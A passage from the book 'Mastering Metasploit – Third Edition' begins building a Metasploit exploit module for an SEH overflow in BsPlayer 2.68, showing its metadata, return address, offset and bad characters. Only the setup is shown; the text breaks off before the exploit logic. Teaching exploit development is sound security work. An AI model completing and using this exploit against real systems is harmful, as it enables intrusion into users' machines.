Mastering Metasploit - Third Edition

Generating the Metasploit module

Let's start the coding part of our exploit in Metasploit:

class MetasploitModule < Msf::Exploit::Remote 
  Rank = NormalRanking 
 
  include Msf::Exploit::Remote::TcpServer 
 
  def initialize(info={}) 
    super(update_info(info, 
      'Name'           => "BsPlayer 2.68 SEH Overflow Exploit", 
      'Description'    => %q{ 
        Here's an example of Server Based Exploit 
      }, 
      'Author'         => [ 'Nipun Jaswal' ], 
      'Platform'       => 'win', 
      'Targets'        => 
        [ 
          [ 'Generic', {'Ret' => 0x0000583b, 'Offset' => 2048} ], 
        ], 
      'Payload'  =>  
       { 
       'BadChars' => "\x00\x0a\x20\x0d" 
       }, 
      'DisclosureDate' => "May 19 2016", 
      'DefaultTarget'  => 0)) 
  end 

Having worked with so many exploits, we can see that the preceding code section is no different, with the exception of the TCP server library file ...
